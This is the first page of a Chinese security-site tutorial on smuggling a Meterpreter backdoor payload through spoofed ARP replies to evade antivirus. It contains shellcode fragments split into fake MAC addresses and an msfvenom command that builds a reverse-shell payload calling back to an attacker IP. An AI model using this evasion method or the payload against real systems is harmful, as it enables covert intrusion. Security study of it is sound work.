欢迎来到 黑吧安全网 聚焦网络安全前沿资讯,精华内容,交流技术心得!

通过ARP流量绕过杀毒软件传输后门payload

来源:本站整理 作者:佚名 时间:2019-07-11 TAG: 我要投稿

本文介绍了如何在网络中使用ARP来实现Payload传输。值得说明的是,大多数反病毒软件都无法检测到后门payload。
在解释此技术之前,本文将首先介绍ARP协议在网络中的工作原理。
0x01 ARP工作原理

如图一所示(ARP,step1),机器A广播消息到所有工作站来询问IP地址的所有者(如192.168.1.5),并期望接收到其对应的MAC地址
在step2中,机器B发送一个响应包到机器A,告诉机器A,192.168.1.5是我机器B,并告诉机器A自己的MAC地址。这一步是本文的重点,是使用ARP传输payload的技术点所在。
Step3与本文的技术无关,不再赘述。
 
0x02 如何通过ARP传输payload
攻击者可以通过MAC地址传输他们的字节码,利用这种方法黑客可以有效地隐蔽传输病毒和payload。当然应用这种技术传输非常缓慢,但有时这是一个优点,可以有效避免过快的传输被目标运维人员发现。并且此技术成功建立连接的时间并不重要,因为你的服务器或客户机(尤其是服务器)24小时都在运行。
想要执行该攻击,一个攻击者往往需要两台计算机。第一个系统是linux,记为攻击机A,第二个系统是Win7-SP1 (可以任意改变MAC地址),记为攻击机B。被攻击目标系统也是Win7-SP1。
在攻击过程中,目标系统是将被植入后门的系统,它首先发送ARP请求包询问192.168.1.5的MAC地址,然后我们的攻击机B回复该ARP请求,并伪造MAC地址,注意,此处的MAC包的数据为攻击机A产生的攻击payload(具体路由为攻击机A(192.168.1.50)发送payload(伪造的MAC包)->攻击机B(192.168.1.5)->目标机器(192.168.1.113))。通过不断地发送返回的MAC包最终在目标系统上成功植入后门,我将会得到一个由目标机器(192.1618.1.113)返回到攻击机A(192.168.1.50)的Meterpreter Session。在本文的实验中,成功植入后门花费了37分钟。

 
0x03 攻击可能出现的问题
该攻击虽然攻击耗时较长,但是可以成功攻击。不过该攻击需要实现还需要一些前提。在解释问题所在之前,首先我会用一个简单的例子向你展示我的代码是如何工作的:

1.注入payload字节
如图3中第一行所示,我们有一个MAC地址:00fc4883e4f0,这个MAC地址有两个部分,第一个部分是 00 , 第二个部分是fc4883e4f0 。
第二部分是Meterpreter payload第一行的第一部分字节,它不是一个MAC地址,但可以像MAC地址一样在ARP传输中使用。
通过我编写的工具“Payload_to_Mac.exe”使得设置和改变NIC网络接口连接MAC变得非常简单。这个工具的工作原理类似于Linux系统中的MAC变址系统。对于图3中的第1行使用这个工具,可以设置MAC地址00fc4883e4f0为“Local Area Connection(本地连接)”
为什么我们需要这样做?
因为我们想用注入的mac地址来回复ARP请求。
到目前为止我们的条件有:
本地连接MAC变址系统
被入侵的系统后门系统

接收到这三个响应后,我们可以dump出这些payload:
{fc4883e4f0+e8cc000000+4151415052}==fc4883e4f0e8cc0000004151415052
被后门入侵的系统(目标机器)IP地址为192.168.1.113,攻击者的win7-sp1系统(攻击机B)的IP地址为192.168.1.5。现在请对比一下图三和图四,可以看到这是在本攻击中通过ARP传输payload的ARP流量情况
注意:Arpspoof,etthercap工具在linux系统中,使用工具Arpspoof的流量可能会被反病毒软件或者防火墙检测到,但是通过本文的方法在网络中或者在目标入侵系统中被反病毒软件或防火墙检测到的风险非常低。
注意:MAC的复制可能会出现问题,通过图6中的技术,可以降低这种风险。
2.攻击中可能出现的问题

现在我们有了响应后的payloads:
{fc4883e4f0 + 000c4dabc000 + e8cc000000 + 4151415052} == fc4883e4f0000c4dabc000e8cc0000004151415052
如图5所示,有红色标出的Mac地址,现在的payload是不正确的。
那么如何解决这个问题呢? 如图6所示

可以将payload从两个部分更改为三个部分:
00{payload}——>{payload}00 00 f0
现在你可以检查后门代码中新的部分,当你收到一个没有第三部分的MAC地址,你的代码应该丢弃这个MAC地址。因为这是未知的响应,所以这不是有效payload。
现在可以开始利用工具进行攻击,但首先应该生成payload:在kali linux系统中,可以使用msfvenom来生成payload。其IP地址是192.168.1.50。
msfvenom –arch x86_64 –platform windows –p windows/x64/meterpreter/reverse_tcp lhsot=192.168.1.50 –f c > /root/desktop/payload.txt
接下来将payload.txt用图7所示的格式,从linux系统复制到IP地址为 192.168.1.5的攻击机B

[1] [2]  下一页

【声明】:黑吧安全网(http://www.myhack58.com)登载此文出于传递更多信息之目的,并不代表本站赞同其观点和对其真实性负责,仅适于网络安全技术爱好者学习研究使用,学习中请遵循国家相关法律法规。如有问题请联系我们,联系邮箱admin@myhack58.com,我们会在最短的时间内进行处理。
  • 最新更新
    • 相关阅读
      • 本类热门
        • 最近下载